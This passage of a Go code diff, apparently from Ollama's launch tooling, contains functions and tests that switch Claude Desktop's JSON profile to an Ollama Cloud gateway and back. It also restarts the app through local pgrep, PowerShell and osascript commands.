if appliedID, _ := meta["appliedId"].(string); appliedID == claudeDesktopProfileID {
|
||||
delete(meta, "appliedId")
|
||||
changed = true
|
||||
}
|
||||
|
||||
entries := claudeDesktopAnySlice(meta["entries"])
|
||||
if entries != nil {
|
||||
filtered := make([]any, 0, len(entries))
|
||||
for _, entry := range entries {
|
||||
entryMap, _ := entry.(map[string]any)
|
||||
if entryID, _ := entryMap["id"].(string); entryID == claudeDesktopProfileID {
|
||||
changed = true
|
||||
continue
|
||||
}
|
||||
filtered = append(filtered, entry)
|
||||
}
|
||||
meta["entries"] = filtered
|
||||
}
|
||||
|
||||
if !changed {
|
||||
return nil
|
||||
}
|
||||
return writeClaudeDesktopJSON(path, meta)
|
||||
}
|
||||
|
||||
func restoreClaudeDesktopOllamaProfile(path string) error {
|
||||
cfg, err := readClaudeDesktopJSONAllowMissing(path)
|
||||
if err != nil {
|
||||
return fmt.Errorf("parse Claude Desktop Ollama profile: %w", err)
|
||||
}
|
||||
if len(cfg) == 0 {
|
||||
return nil
|
||||
}
|
||||
cfg["disableDeploymentModeChooser"] = false
|
||||
delete(cfg, "inferenceProvider")
|
||||
delete(cfg, "inferenceGatewayBaseUrl")
|
||||
delete(cfg, "inferenceGatewayAuthScheme")
|
||||
delete(cfg, "inferenceModels")
|
||||
return writeClaudeDesktopJSON(path, cfg)
|
||||
}
|
||||
|
||||
func readClaudeDesktopAppliedID(path string) string {
|
||||
meta, err := readClaudeDesktopJSON(path)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
applied, _ := meta["appliedId"].(string)
|
||||
return applied
|
||||
}
|
||||
|
||||
func readClaudeDesktopDeploymentMode(path string) string {
|
||||
cfg, err := readClaudeDesktopJSON(path)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
mode, _ := cfg["deploymentMode"].(string)
|
||||
return mode
|
||||
}
|
||||
|
||||
func claudeDesktopTargetsConfigured(targets claudeDesktopTargets) bool {
|
||||
if len(targets.normalConfigs) == 0 || len(targets.thirdPartyProfiles) == 0 {
|
||||
return false
|
||||
}
|
||||
for _, path := range targets.normalConfigs {
|
||||
if readClaudeDesktopDeploymentMode(path) != "3p" {
|
||||
return false
|
||||
}
|
||||
}
|
||||
for _, target := range targets.thirdPartyProfiles {
|
||||
if readClaudeDesktopDeploymentMode(target.desktopConfig) != "3p" {
|
||||
return false
|
||||
}
|
||||
if !claudeDesktopThirdPartyProfileConfigured(target) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func claudeDesktopThirdPartyProfileConfigured(target claudeDesktopThirdPartyPaths) bool {
|
||||
if readClaudeDesktopAppliedID(target.meta) != claudeDesktopProfileID {
|
||||
return false
|
||||
}
|
||||
|
||||
cfg, err := readClaudeDesktopJSON(target.profile)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
if s, _ := cfg["inferenceProvider"].(string); s != "gateway" {
|
||||
return false
|
||||
}
|
||||
if s, _ := cfg["inferenceGatewayBaseUrl"].(string); strings.TrimRight(s, "/") != claudeDesktopGatewayBaseURL {
|
||||
return false
|
||||
}
|
||||
if s, _ := cfg["inferenceGatewayApiKey"].(string); strings.TrimSpace(s) == "" {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func readClaudeDesktopJSONAllowMissing(path string) (map[string]any, error) {
|
||||
cfg, err := readClaudeDesktopJSON(path)
|
||||
if errors.Is(err, os.ErrNotExist) {
|
||||
return map[string]any{}, nil
|
||||
}
|
||||
return cfg, err
|
||||
}
|
||||
|
||||
func readClaudeDesktopJSON(path string) (map[string]any, error) {
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var cfg map[string]any
|
||||
if err := json.Unmarshal(data, &cfg); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if cfg == nil {
|
||||
cfg = map[string]any{}
|
||||
}
|
||||
return cfg, nil
|
||||
}
|
||||
|
||||
func writeClaudeDesktopJSON(path string, cfg any) error {
|
||||
data, err := json.MarshalIndent(cfg, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
data = append(data, '\n')
|
||||
if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
return fileutil.WriteWithBackup(path, data)
|
||||
}
|
||||
|
||||
func claudeDesktopAnySlice(value any) []any {
|
||||
switch v := value.(type) {
|
||||
case []any:
|
||||
return v
|
||||
case nil:
|
||||
return nil
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
func claudeDesktopLaunchOrRestart(prompt string) error {
|
||||
if !claudeDesktopIsRunning() {
|
||||
return claudeDesktopOpenApp()
|
||||
}
|
||||
restartAppPath := ""
|
||||
if claudeDesktopGOOS == "windows" {
|
||||
restartAppPath = claudeDesktopRunningAppPath()
|
||||
}
|
||||
|
||||
restart, err := ConfirmPrompt(prompt)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if !restart {
|
||||
fmt.Fprintln(os.Stderr, "\nQuit and reopen Claude Desktop when you're ready for the profile change to take effect.")
|
||||
return nil
|
||||
}
|
||||
|
||||
if err := claudeDesktopQuitApp(); err != nil {
|
||||
return fmt.Errorf("quit Claude Desktop: %w", err)
|
||||
}
|
||||
if err := waitForClaudeDesktopExit(30 * time.Second); err != nil {
|
||||
return err
|
||||
}
|
||||
if restartAppPath != "" {
|
||||
return claudeDesktopOpenAppPath(restartAppPath)
|
||||
}
|
||||
return claudeDesktopOpenApp()
|
||||
}
|
||||
|
||||
func waitForClaudeDesktopExit(timeout time.Duration) error {
|
||||
deadline := time.Now().Add(timeout)
|
||||
for time.Now().Before(deadline) {
|
||||
if !claudeDesktopIsRunning() {
|
||||
return nil
|
||||
}
|
||||
claudeDesktopSleep(200 * time.Millisecond)
|
||||
}
|
||||
return fmt.Errorf("Claude Desktop did not quit; quit it manually and re-run the command")
|
||||
}
|
||||
|
||||
func defaultClaudeDesktopIsRunning() bool {
|
||||
switch claudeDesktopGOOS {
|
||||
case "darwin":
|
||||
out, err := exec.Command("pgrep", "-f", "Claude.app/Contents/MacOS/Claude").Output()
|
||||
return err == nil && strings.TrimSpace(string(out)) != ""
|
||||
case "windows":
|
||||
out, err := exec.Command("powershell.exe", "-NoProfile", "-Command", `(Get-Process claude -ErrorAction SilentlyContinue | Where-Object { $_.MainWindowHandle -ne 0 } | Select-Object -First 1).Id`).Output()
|
||||
return err == nil && strings.TrimSpace(string(out)) != ""
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func defaultClaudeDesktopOpenApp() error {
|
||||
switch claudeDesktopGOOS {
|
||||
case "windows":
|
||||
if path := claudeDesktopAppPath(); path != "" {
|
||||
return claudeDesktopOpenAppPath(path)
|
||||
}
|
||||
if path := claudeDesktopRunningAppPath(); path != "" {
|
||||
return claudeDesktopOpenAppPath(path)
|
||||
}
|
||||
return fmt.Errorf("Claude Desktop executable was not found; open Claude Desktop manually once and re-run 'ollama launch claude-desktop --restore'")
|
||||
case "darwin":
|
||||
return openClaudeDesktopDarwin()
|
||||
default:
|
||||
return claudeDesktopSupported()
|
||||
}
|
||||
}
|
||||
|
||||
func defaultClaudeDesktopOpenAppPath(path string) error {
|
||||
switch claudeDesktopGOOS {
|
||||
case "windows":
|
||||
return exec.Command("powershell.exe", "-NoProfile", "-Command", "Start-Process -FilePath "+quotePowerShellString(path)).Run()
|
||||
case "darwin":
|
||||
return openClaudeDesktopDarwin()
|
||||
default:
|
||||
return claudeDesktopSupported()
|
||||
}
|
||||
}
|
||||
|
||||
func openClaudeDesktopDarwin() error {
|
||||
cmd := exec.Command("open", "-a", "Claude")
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func defaultClaudeDesktopRunningAppPath() string {
|
||||
if claudeDesktopGOOS != "windows" {
|
||||
return ""
|
||||
}
|
||||
script := `(Get-Process claude -ErrorAction SilentlyContinue | Where-Object { $_.MainWindowHandle -ne 0 -and $_.Path } | Select-Object -First 1 -ExpandProperty Path)`
|
||||
out, err := exec.Command("powershell.exe", "-NoProfile", "-Command", script).Output()
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return strings.TrimSpace(string(out))
|
||||
}
|
||||
|
||||
func defaultClaudeDesktopQuitApp() error {
|
||||
if claudeDesktopGOOS == "windows" {
|
||||
script := `Get-Process claude -ErrorAction SilentlyContinue | Where-Object { $_.MainWindowHandle -ne 0 } | ForEach-Object { [void]$_.CloseMainWindow() }`
|
||||
return exec.Command("powershell.exe", "-NoProfile", "-Command", script).Run()
|
||||
}
|
||||
return exec.Command("osascript", "-e", `tell application "Claude" to quit`).Run()
|
||||
}
|
||||
|
||||
func quotePowerShellString(s string) string {
|
||||
return "'" + strings.ReplaceAll(s, "'", "''") + "'"
|
||||
}
|
||||
@@ -0,0 +1,946 @@
|
||||
package launch
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
type roundTripFunc func(*http.Request) (*http.Response, error)
|
||||
|
||||
func (f roundTripFunc) RoundTrip(req *http.Request) (*http.Response, error) {
|
||||
return f(req)
|
||||
}
|
||||
|
||||
func withClaudeDesktopPlatform(t *testing.T, goos string) {
|
||||
t.Helper()
|
||||
old := claudeDesktopGOOS
|
||||
claudeDesktopGOOS = goos
|
||||
t.Cleanup(func() {
|
||||
claudeDesktopGOOS = old
|
||||
})
|
||||
}
|
||||
|
||||
func withClaudeDesktopValidation(t *testing.T, fn func(context.Context, string) error) {
|
||||
t.Helper()
|
||||
old := claudeDesktopValidateAPIKey
|
||||
claudeDesktopValidateAPIKey = fn
|
||||
t.Cleanup(func() {
|
||||
claudeDesktopValidateAPIKey = old
|
||||
})
|
||||
}
|
||||
|
||||
func withClaudeDesktopPrompt(t *testing.T, fn func() (string, error)) {
|
||||
t.Helper()
|
||||
old := claudeDesktopPromptAPIKey
|
||||
claudeDesktopPromptAPIKey = fn
|
||||
t.Cleanup(func() {
|
||||
claudeDesktopPromptAPIKey = old
|
||||
})
|
||||
}
|
||||
|
||||
func withClaudeDesktopProcessHooks(t *testing.T, running func() bool, quit func() error, open func() error) {
|
||||
t.Helper()
|
||||
oldRunning := claudeDesktopIsRunning
|
||||
oldQuit := claudeDesktopQuitApp
|
||||
oldOpen := claudeDesktopOpenApp
|
||||
oldOpenPath := claudeDesktopOpenAppPath
|
||||
oldRunningPath := claudeDesktopRunningAppPath
|
||||
oldSleep := claudeDesktopSleep
|
||||
claudeDesktopIsRunning = running
|
||||
claudeDesktopQuitApp = quit
|
||||
claudeDesktopOpenApp = open
|
||||
claudeDesktopOpenAppPath = oldOpenPath
|
||||
claudeDesktopRunningAppPath = oldRunningPath
|
||||
claudeDesktopSleep = func(time.Duration) {}
|
||||
t.Cleanup(func() {
|
||||
claudeDesktopIsRunning = oldRunning
|
||||
claudeDesktopQuitApp = oldQuit
|
||||
claudeDesktopOpenApp = oldOpen
|
||||
claudeDesktopOpenAppPath = oldOpenPath
|
||||
claudeDesktopRunningAppPath = oldRunningPath
|
||||
claudeDesktopSleep = oldSleep
|
||||
})
|
||||
}
|
||||
|
||||
func claudeDesktopReadJSON(t *testing.T, path string) map[string]any {
|
||||
t.Helper()
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
t.Fatalf("read %s: %v", path, err)
|
||||
}
|
||||
var cfg map[string]any
|
||||
if err := json.Unmarshal(data, &cfg); err != nil {
|
||||
t.Fatalf("parse %s: %v", path, err)
|
||||
}
|
||||
return cfg
|
||||
}
|
||||
|
||||
func TestClaudeDesktopIntegration(t *testing.T) {
|
||||
c := &ClaudeDesktop{}
|
||||
|
||||
t.Run("implements Runner", func(t *testing.T) {
|
||||
var _ Runner = c
|
||||
})
|
||||
t.Run("implements managed autodiscovery integration", func(t *testing.T) {
|
||||
var _ ManagedAutodiscoveryIntegration = c
|
||||
})
|
||||
t.Run("does not use local Ollama Cloud auth gate", func(t *testing.T) {
|
||||
if _, ok := any(c).(ManagedAutodiscoveryCloudIntegration); ok {
|
||||
t.Fatal("Claude Desktop should validate OLLAMA_API_KEY directly instead of requiring local Ollama Cloud sign-in")
|
||||
}
|
||||
})
|
||||
t.Run("implements restore", func(t *testing.T) {
|
||||
var _ RestorableIntegration = c
|
||||
})
|
||||
t.Run("has restore hint", func(t *testing.T) {
|
||||
var _ RestoreHintIntegration = c
|
||||
if !strings.Contains(c.RestoreHint(), "--restore") {
|
||||
t.Fatalf("expected restore hint to mention --restore, got %q", c.RestoreHint())
|
||||
}
|
||||
if strings.Contains(c.RestoreHint(), "Tip:") {
|
||||
t.Fatalf("restore hint should not use Tip wording, got %q", c.RestoreHint())
|
||||
}
|
||||
})
|
||||
t.Run("has success messages", func(t *testing.T) {
|
||||
var _ ConfigurationSuccessIntegration = c
|
||||
var _ RestoreSuccessIntegration = c
|
||||
if got := c.ConfigurationSuccessMessage(); got != "Claude Desktop profile changed to Ollama Cloud.\nTo restore the usual Claude profile, run: ollama launch claude-desktop --restore" {
|
||||
t.Fatalf("configuration success message = %q", got)
|
||||
}
|
||||
if got := c.RestoreSuccessMessage(); got != "Claude Desktop restored to the usual Claude profile." {
|
||||
t.Fatalf("restore success message = %q", got)
|
||||
}
|
||||
})
|
||||
t.Run("skips local model readiness", func(t *testing.T) {
|
||||
var _ ManagedModelReadinessSkipper = c
|
||||
if !c.SkipModelReadiness() {
|
||||
t.Fatal("expected Claude Desktop to skip local model readiness")
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestLaunchIntegration_ClaudeDesktopLaunchReturnsUnsupported(t *testing.T) {
|
||||
for _, name := range []string{"claude-desktop", "claude-app"} {
|
||||
t.Run(name, func(t *testing.T) {
|
||||
err := LaunchIntegration(context.Background(), IntegrationLaunchRequest{Name: name})
|
||||
if err == nil {
|
||||
t.Fatal("expected Claude Desktop launch to fail")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "Claude Desktop is no longer supported") {
|
||||
t.Fatalf("expected unsupported guidance, got %v", err)
|
||||
}
|
||||
if !strings.Contains(err.Error(), "ollama launch claude-desktop --restore") {
|
||||
t.Fatalf("expected restore guidance, got %v", err)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestLaunchIntegration_ClaudeDesktopRestoreStillWorks(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
withClaudeDesktopPlatform(t, "darwin")
|
||||
withClaudeDesktopProcessHooks(t, func() bool { return false }, func() error { return nil }, func() error { return nil })
|
||||
|
||||
if err := os.MkdirAll(filepath.Join(tmpDir, "Applications", "Claude.app"), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
paths, err := claudeDesktopConfigPaths()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(paths.profile), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(paths.meta, []byte(`{"appliedId":"`+claudeDesktopProfileID+`","entries":[{"id":"`+claudeDesktopProfileID+`","name":"Ollama"}]}`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(paths.profile, []byte(`{"disableDeploymentModeChooser":true,"inferenceGatewayApiKey":"keep","inferenceProvider":"gateway","inferenceGatewayBaseUrl":"https://ollama.com","inferenceGatewayAuthScheme":"bearer"}`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
stderr := captureStderr(t, func() {
|
||||
err = LaunchIntegration(context.Background(), IntegrationLaunchRequest{Name: "claude-desktop", Restore: true})
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("LaunchIntegration restore returned error: %v", err)
|
||||
}
|
||||
if !strings.Contains(stderr, claudeDesktopRestoredMessage) {
|
||||
t.Fatalf("expected restore success message, got stderr: %q", stderr)
|
||||
}
|
||||
desktopConfig := claudeDesktopReadJSON(t, paths.desktopConfig)
|
||||
if desktopConfig["deploymentMode"] != "1p" {
|
||||
t.Fatalf("deploymentMode = %v, want 1p", desktopConfig["deploymentMode"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestClaudeDesktopConfigureWritesOllamaCloudProfile(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
withClaudeDesktopPlatform(t, "darwin")
|
||||
t.Setenv("OLLAMA_API_KEY", "test-api-key")
|
||||
|
||||
var validatedKey string
|
||||
withClaudeDesktopValidation(t, func(_ context.Context, key string) error {
|
||||
validatedKey = key
|
||||
return nil
|
||||
})
|
||||
|
||||
paths, err := claudeDesktopConfigPaths()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(paths.desktopConfig), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(paths.meta), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(paths.desktopConfig, []byte(`{"existing":true}`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(paths.meta, []byte(`{"entries":[{"id":"custom","name":"Custom"}]}`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if err := (&ClaudeDesktop{}).ConfigureAutodiscovery(); err != nil {
|
||||
t.Fatalf("Configure returned error: %v", err)
|
||||
}
|
||||
if validatedKey != "test-api-key" {
|
||||
t.Fatalf("validated key = %q, want test API key", validatedKey)
|
||||
}
|
||||
|
||||
desktopConfig := claudeDesktopReadJSON(t, paths.desktopConfig)
|
||||
if desktopConfig["existing"] != true {
|
||||
t.Fatalf("existing desktop config key was not preserved: %v", desktopConfig)
|
||||
}
|
||||
if desktopConfig["deploymentMode"] != "3p" {
|
||||
t.Fatalf("deploymentMode = %v, want 3p", desktopConfig["deploymentMode"])
|
||||
}
|
||||
normalConfig := claudeDesktopReadJSON(t, paths.normalConfig)
|
||||
if normalConfig["deploymentMode"] != "3p" {
|
||||
t.Fatalf("normal deploymentMode = %v, want 3p", normalConfig["deploymentMode"])
|
||||
}
|
||||
|
||||
meta := claudeDesktopReadJSON(t, paths.meta)
|
||||
if meta["appliedId"] != claudeDesktopProfileID {
|
||||
t.Fatalf("appliedId = %v, want %s", meta["appliedId"], claudeDesktopProfileID)
|
||||
}
|
||||
entries, _ := meta["entries"].([]any)
|
||||
if len(entries) != 2 {
|
||||
t.Fatalf("entries len = %d, want 2: %v", len(entries), entries)
|
||||
}
|
||||
|
||||
profile := claudeDesktopReadJSON(t, paths.profile)
|
||||
if profile["inferenceProvider"] != "gateway" {
|
||||
t.Fatalf("inferenceProvider = %v, want gateway", profile["inferenceProvider"])
|
||||
}
|
||||
if profile["inferenceGatewayBaseUrl"] != claudeDesktopGatewayBaseURL {
|
||||
t.Fatalf("base URL = %v, want %s", profile["inferenceGatewayBaseUrl"], claudeDesktopGatewayBaseURL)
|
||||
}
|
||||
if profile["inferenceGatewayApiKey"] != "test-api-key" {
|
||||
t.Fatal("expected configured API key to be written")
|
||||
}
|
||||
if profile["inferenceGatewayAuthScheme"] != "bearer" {
|
||||
t.Fatalf("auth scheme = %v, want bearer", profile["inferenceGatewayAuthScheme"])
|
||||
}
|
||||
if profile["disableDeploymentModeChooser"] != true {
|
||||
t.Fatalf("disableDeploymentModeChooser = %v, want true", profile["disableDeploymentModeChooser"])
|
||||
}
|
||||
if _, ok := profile["inferenceModels"]; ok {
|
||||
t.Fatalf("inferenceModels should be omitted so Claude can discover models, got %v", profile["inferenceModels"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestClaudeDesktopConfigureAutodiscoveryRemovesExistingModelCatalog(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
withClaudeDesktopPlatform(t, "darwin")
|
||||
t.Setenv("OLLAMA_API_KEY", "test-api-key")
|
||||
withClaudeDesktopValidation(t, func(context.Context, string) error { return nil })
|
||||
|
||||
paths, err := claudeDesktopConfigPaths()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(paths.profile), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(paths.profile, []byte(`{"inferenceModels":["qwen3.5"],"inferenceGatewayApiKey":"old"}`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if err := (&ClaudeDesktop{}).ConfigureAutodiscovery(); err != nil {
|
||||
t.Fatalf("ConfigureAutodiscovery returned error: %v", err)
|
||||
}
|
||||
|
||||
profile := claudeDesktopReadJSON(t, paths.profile)
|
||||
if _, ok := profile["inferenceModels"]; ok {
|
||||
t.Fatalf("inferenceModels should be removed, got %v", profile["inferenceModels"])
|
||||
}
|
||||
if profile["inferenceGatewayApiKey"] != "test-api-key" {
|
||||
t.Fatal("expected env API key to replace the old key")
|
||||
}
|
||||
}
|
||||
|
||||
func TestClaudeDesktopWindowsConfigPathsUseLocalAppData(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
withClaudeDesktopPlatform(t, "windows")
|
||||
t.Setenv("LOCALAPPDATA", filepath.Join(tmpDir, "LocalAppData"))
|
||||
|
||||
paths, err := claudeDesktopConfigPaths()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if want := filepath.Join(tmpDir, "LocalAppData", "Claude-3p", "claude_desktop_config.json"); paths.desktopConfig != want {
|
||||
t.Fatalf("desktop config = %q, want %q", paths.desktopConfig, want)
|
||||
}
|
||||
if want := filepath.Join(tmpDir, "LocalAppData", "Claude", "claude_desktop_config.json"); paths.normalConfig != want {
|
||||
t.Fatalf("normal config = %q, want %q", paths.normalConfig, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestClaudeDesktopWindowsConfigPathsFallbackToNestProfile(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
withClaudeDesktopPlatform(t, "windows")
|
||||
local := filepath.Join(tmpDir, "LocalAppData")
|
||||
t.Setenv("LOCALAPPDATA", local)
|
||||
if err := os.MkdirAll(filepath.Join(local, "Claude Nest-3p"), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
paths, err := claudeDesktopConfigPaths()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if want := filepath.Join(local, "Claude Nest-3p", "claude_desktop_config.json"); paths.desktopConfig != want {
|
||||
t.Fatalf("desktop config = %q, want %q", paths.desktopConfig, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestClaudeDesktopAutodiscoveryConfiguredOnWindows(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
withClaudeDesktopPlatform(t, "windows")
|
||||
t.Setenv("LOCALAPPDATA", filepath.Join(tmpDir, "LocalAppData"))
|
||||
t.Setenv("OLLAMA_API_KEY", "test-api-key")
|
||||
withClaudeDesktopValidation(t, func(context.Context, string) error { return nil })
|
||||
|
||||
c := &ClaudeDesktop{}
|
||||
if err := c.ConfigureAutodiscovery(); err != nil {
|
||||
t.Fatalf("Configure returned error: %v", err)
|
||||
}
|
||||
if !c.AutodiscoveryConfigured() {
|
||||
t.Fatal("expected Claude Desktop autodiscovery config to be detected on Windows")
|
||||
}
|
||||
}
|
||||
|
||||
func TestClaudeDesktopConfigureAutodiscoveryTouchesAllWindowsProfileCandidates(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
withClaudeDesktopPlatform(t, "windows")
|
||||
local := filepath.Join(tmpDir, "LocalAppData")
|
||||
t.Setenv("LOCALAPPDATA", local)
|
||||
t.Setenv("OLLAMA_API_KEY", "test-api-key")
|
||||
withClaudeDesktopValidation(t, func(context.Context, string) error { return nil })
|
||||
|
||||
targets, err := claudeDesktopTargetPaths()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(targets.normalConfigs) != 2 {
|
||||
t.Fatalf("normal config target count = %d, want 2", len(targets.normalConfigs))
|
||||
}
|
||||
if len(targets.thirdPartyProfiles) != 2 {
|
||||
t.Fatalf("third-party target count = %d, want 2", len(targets.thirdPartyProfiles))
|
||||
}
|
||||
|
||||
c := &ClaudeDesktop{}
|
||||
if err := c.ConfigureAutodiscovery(); err != nil {
|
||||
t.Fatalf("ConfigureAutodiscovery returned error: %v", err)
|
||||
}
|
||||
|
||||
for _, path := range targets.normalConfigs {
|
||||
cfg := claudeDesktopReadJSON(t, path)
|
||||
if cfg["deploymentMode"] != "3p" {
|
||||
t.Fatalf("%s deploymentMode = %v, want 3p", path, cfg["deploymentMode"])
|
||||
}
|
||||
}
|
||||
for _, target := range targets.thirdPartyProfiles {
|
||||
cfg := claudeDesktopReadJSON(t, target.desktopConfig)
|
||||
if cfg["deploymentMode"] != "3p" {
|
||||
t.Fatalf("%s deploymentMode = %v, want 3p", target.desktopConfig, cfg["deploymentMode"])
|
||||
}
|
||||
meta := claudeDesktopReadJSON(t, target.meta)
|
||||
if meta["appliedId"] != claudeDesktopProfileID {
|
||||
t.Fatalf("%s appliedId = %v, want %s", target.meta, meta["appliedId"], claudeDesktopProfileID)
|
||||
}
|
||||
profile := claudeDesktopReadJSON(t, target.profile)
|
||||
if profile["inferenceProvider"] != "gateway" {
|
||||
t.Fatalf("%s inferenceProvider = %v, want gateway", target.profile, profile["inferenceProvider"])
|
||||
}
|
||||
if profile["inferenceGatewayBaseUrl"] != claudeDesktopGatewayBaseURL {
|
||||
t.Fatalf("%s base URL = %v, want %s", target.profile, profile["inferenceGatewayBaseUrl"], claudeDesktopGatewayBaseURL)
|
||||
}
|
||||
if profile["inferenceGatewayApiKey"] != "test-api-key" {
|
||||
t.Fatalf("%s should contain the configured API key", target.profile)
|
||||
}
|
||||
if _, ok := profile["inferenceModels"]; ok {
|
||||
t.Fatalf("%s inferenceModels should be omitted, got %v", target.profile, profile["inferenceModels"])
|
||||
}
|
||||
}
|
||||
if !c.AutodiscoveryConfigured() {
|
||||
t.Fatal("expected all Windows profile candidates to be considered configured")
|
||||
}
|
||||
|
||||
if err := writeClaudeDesktopDeploymentMode(targets.thirdPartyProfiles[1].desktopConfig, "1p"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if c.AutodiscoveryConfigured() {
|
||||
t.Fatal("expected a stale Windows candidate to force reconfiguration")
|
||||
}
|
||||
}
|
||||
|
||||
func TestClaudeDesktopInstalledOnWindowsRecognizesLocalProfileDir(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
withClaudeDesktopPlatform(t, "windows")
|
||||
local := filepath.Join(tmpDir, "LocalAppData")
|
||||
t.Setenv("LOCALAPPDATA", local)
|
||||
withClaudeDesktopProcessHooks(t, func() bool { return false }, func() error { return nil }, func() error { return nil })
|
||||
if err := os.MkdirAll(filepath.Join(local, "Claude-3p"), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if !claudeDesktopInstalled() {
|
||||
t.Fatal("expected Claude Desktop to be installed when the Windows profile directory exists")
|
||||
}
|
||||
}
|
||||
|
||||
func TestClaudeDesktopWindowsAppPathFindsAnthropicClaudeInstall(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
withClaudeDesktopPlatform(t, "windows")
|
||||
local := filepath.Join(tmpDir, "LocalAppData")
|
||||
t.Setenv("LOCALAPPDATA", local)
|
||||
want := filepath.Join(local, "AnthropicClaude", "app-1.2.3", "Claude.exe")
|
||||
if err := os.MkdirAll(filepath.Dir(want), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(want, []byte(""), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if got := claudeDesktopAppPath(); got != want {
|
||||
t.Fatalf("claudeDesktopAppPath() = %q, want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWaitForClaudeDesktopExitUsesRunningHook(t *testing.T) {
|
||||
withClaudeDesktopPlatform(t, "windows")
|
||||
runningChecks := 0
|
||||
withClaudeDesktopProcessHooks(t,
|
||||
func() bool {
|
||||
runningChecks++
|
||||
return runningChecks == 1
|
||||
},
|
||||
func() error { return nil },
|
||||
func() error { return nil },
|
||||
)
|
||||
|
||||
if err := waitForClaudeDesktopExit(time.Second); err != nil {
|
||||
t.Fatalf("waitForClaudeDesktopExit returned error: %v", err)
|
||||
}
|
||||
if runningChecks < 2 {
|
||||
t.Fatalf("expected running hook to be checked until the visible window exits, got %d checks", runningChecks)
|
||||
}
|
||||
}
|
||||
|
||||
func TestClaudeDesktopWindowsRestoreRestartUsesCapturedDesktopPath(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
withClaudeDesktopPlatform(t, "windows")
|
||||
t.Setenv("LOCALAPPDATA", filepath.Join(tmpDir, "LocalAppData"))
|
||||
restoreConfirm := withLaunchConfirmPolicy(launchConfirmPolicy{yes: true})
|
||||
defer restoreConfirm()
|
||||
|
||||
paths, err := claudeDesktopConfigPaths()
|
||||
if err != nil {
|
||||
